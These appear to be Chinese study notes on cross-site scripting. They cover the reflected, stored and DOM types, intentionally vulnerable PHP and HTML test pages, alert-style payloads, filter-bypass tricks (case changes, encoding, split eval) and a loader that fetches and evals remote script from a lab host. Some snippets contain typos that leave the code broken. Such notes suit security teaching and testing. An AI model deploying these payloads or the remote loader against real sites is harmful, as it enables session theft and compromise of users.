XSS

XSS漏洞概述

简介

XSS作为0 WASP T0P10之一,XSS被称为跨站脚本攻击(Cross-site scripting),本来应该缩写为CSS,但是由于和CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。

XSS(跨站脚本攻击)主要基于JavaScript(JS)完成恶意的攻击行为。JS可以非常灵活的操作htmL、css和浏览器,这使得XSS攻击的“想象”空间特别大。

XSS通过将精心构造的代码(JS)代码注入到网页中,并由浏览器解释运行这段 JS 代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。用户最简单的动作就是使用浏览器上网,并且浏览器中有解释器,可以解析JavaScript,然而浏览器不会判断代码是否恶意。也就是说,XSS 的对象是用户和浏览器。

微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入 XSS 代码,都存在遭受 XSS
的风险,只要没有对用户的输入进行严格过滤,就会被XSS。

XSS漏洞发生在服务器

XSS危害

XSS利用JS代码实现攻击,有很多种攻击方法,以下简单列出几种

XSS漏洞的验证

可以用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做PoC(Proof of Concept)。

验证XSS漏洞存在的 PoC 如下:

测试

index.php:

<html>
<head>
<tit1e>Xss测试</tit1e>
<meta charset='utf-8'>
</head>
<body>
	<h1>Xss测试</h1>
	<form method="post"action="xss.php">
		<textarea name="xsscode" rows="10" cols="50" ></textarea>
		<br/>
		<input type="submit" name="submit" value="提交">
	</form>
</body>
</html>

xss.php

<meta charset='utf-8'>
<?php
if(isset ($_REQUEST['submit'])){
	echo $_REQUEST['xsscode'];
	echo "<a href='./index.php'>返回<a>";
}else{
	echo "<a href='./index,php'>返回<a>";
}
?>

分类

XSS漏洞大概可以分为三个类型:反射型XSS、存储型XSS、D0M型XSS。

反射型XSS

反射型 XSS 是非持久性、参数型的跨站脚本。反射型XSS的 JS 代码在 Web 应用的参数(变量)中。如搜索框的反射型XSS,在搜索框中,提交PoC <script>alert(/xss/)</script> ,点击搜索,即可触发反射型 XSS 。提交的 poc 会出现在 search.php 页面的keywords参数中。

存储型XSS

存储型XSS是持久性跨站脚本。持久性体现在 XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存的数据中。

存储型XSS通常发生在留言板等地方。在留言板位置留言,将恶意代码写进数据库中。
此时,只完成了第一步,将恶意代码写入数据库。因为 XSS 使用的 JS 代码,JS 代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的 XSS 代码,才能真正触发XSS。

DOM XSS

D0M XSS 比较特殊。OWASP关于 D0M 型号 XSS 的定义是基于 D0M 的 XSS 是一种 XSS 攻击,其中攻击的 payload 由于修改受害者浏览器页面的 DOM 树而执行的。其特殊的地方就是 payload 在浏览器本地修改 D0M 树而执行,并不会传到服务器上,这也就使得 D0M XSS 比较难以检测。
下面的例子,#message=<script>alert(/xss/)</script> 以锚点的方式提交 PoC 。PoC 并不会发送的服务器,但是已经触发了 XSS。当前页面的源代码如下

<html>
<head>
	<title>DOM-XSS</title>
	<meta charset="utf-8">
</head>
<body>
<script>
	var a document.URL;
	a unescape (a);
	document.write(a.substring (a.indexOf("message=")+8,a.length));
</script>
</body>
</html>

构造

利用 <> 构造 HTML/JS

可以利用 <> 构造 HTML 标签和 <script> 标签。
在测试页面提交参数<h1 style='color:red'> 利用 <> 构造HTML/JS </h1>
提交<script>alert(/xss/)</script>

伪协议

产生自己的事件

"事件驱动" 是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS 可以对这些事件进行响应。所以可以通过事件触发 JS 函数,触发XSS。
事件种类

利用 CSS 跨站(old)

也可以利用CSS(层叠样式脚本)触发XSS。但是这种方法比较古老,基本上不适合现在主流的浏览器,但从学习的角度,需要了解这种类型的XSS。以下代码均在 IE6 下测试。

其他标签以及手法

也可以用其他标签触发XSS

XSS的变形

可以构造的XSS代码进行各种变形,以绕过XSS过滤器的检测

大小写转换

可以将 payload 进行大小写转化

引号的使用

HTML 语言中对引号的使用不敏感,但是某些过滤函数是“锱铢必较”(zī zhū bì jiào,形容非常小气,类似于斤斤计较)。

/代替空格

可以利用左斜线 / 代替空格

回车

可以在一些位置添加 Tab( 水平制表符)和 回车符 ,来绕过关键字检测

<A hREf="j
a	v
a	s
c	r
i	p
t	:
alert(/xss/)">click me!</a>

对标签属性值进行转码

可以对标签属性值进行转码,用来绕过过滤。对应编码如下

字母 ASCII码 十进制编码 十六进制编码
a 97 &#97; &#×61;
e 101 &#101; &#×65;

经过简单编码之后的样子。

另外,可以将以下字符插入到任意位置

可以将以下字符插入到头部位置

<A hREf:="&#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:alert(/xss/)">
click me!
</a>

拆分跨站

<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>

双写绕过

CSS 中的变形

Shellcode 的调用

Shellcode就是在利用漏洞所执行的代码。
完整的XSS攻击,会将Shellcode存放在一定的地方,然后触发漏洞,调用Shellcode。

远程调用]S

可以将 JS 代码单独放在一个js文件中,然后通过http协议远程加载该脚本。

alert('xss');

windows.location.hash

也可以使用 js 中的 windows.location.hash 方法获取浏览器 URL 地址栏的 XSS 代码。

windows.location.hash会获取 URL 中# 后面的所有内容,例如 http://domain.com/index,php#JEST, windows.location.hash的值就是 #AJEST

所以可以构造如下代码

XSS Downloader

XSS下载器就是将XSS代码写到网页中,然后通过 AJAX 技术,取得网页中的 XSS 代码。
在使用 XSS Down loader 之前需要一个我们自己的页面,Xss_downloader,php,内容如下

<?php
header('Access-Control-Allow-origin: *');
header('Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept');
?>
~~~~BOF|alert(/AJST/)|EOF~~~~~~~~~~~

常见的下载器如下

<script>
function XSS(){
	if (window.XMLHttpRequest){
		a = new XMLHttpRequest();
	} else if (window.ActiveXObiect){
		a new Activexobject("Microsoft.XMLHTTP");
	}else {return;}
	a.open('get','http://172.16.132.138/XSS-TEST/normal/xss_downloader.php',false);
	a.send();
	b=a.responseText;
	eval(unescape(b.substring(b.indexof('BOF ')+4,b.indexOf('|EOF'))));}
	XSS();
</script>

AJAX 技术会受到浏览器同源策略的限制,为了解决这个问题,需要在服务器端代码中添加如下内容,实现跨域访问

<?php
header('Access-Control-Allow-origin: *');
header('Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept');
?>

备选存储技术

可以把 Shellcode 存储在客户端的本地域中,比如 HTTP Cookie、Flash 共享对象、UserData、localStorage 等。以HTTP Cookie为例子。

<meta charset='utf-8'>
<?php
if(setcookie("name","<script>alert (/xss/)</script>"))(
	echo "<a href='./xss.php' target='_blank'>Cookie-XSS 验证</a>";
)else(
	echo "设置 Cookie 去败";
?>

点击Cookie-XSS验证,产生如下效果。

防御

使用XSS Filter

XSS Filter 的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果。

防御 DOM-XSS

避免客户端文档重写,重定向或其他敏感操作,很难

工具平台

XSS 平台

http://xss.pt

xss 盲打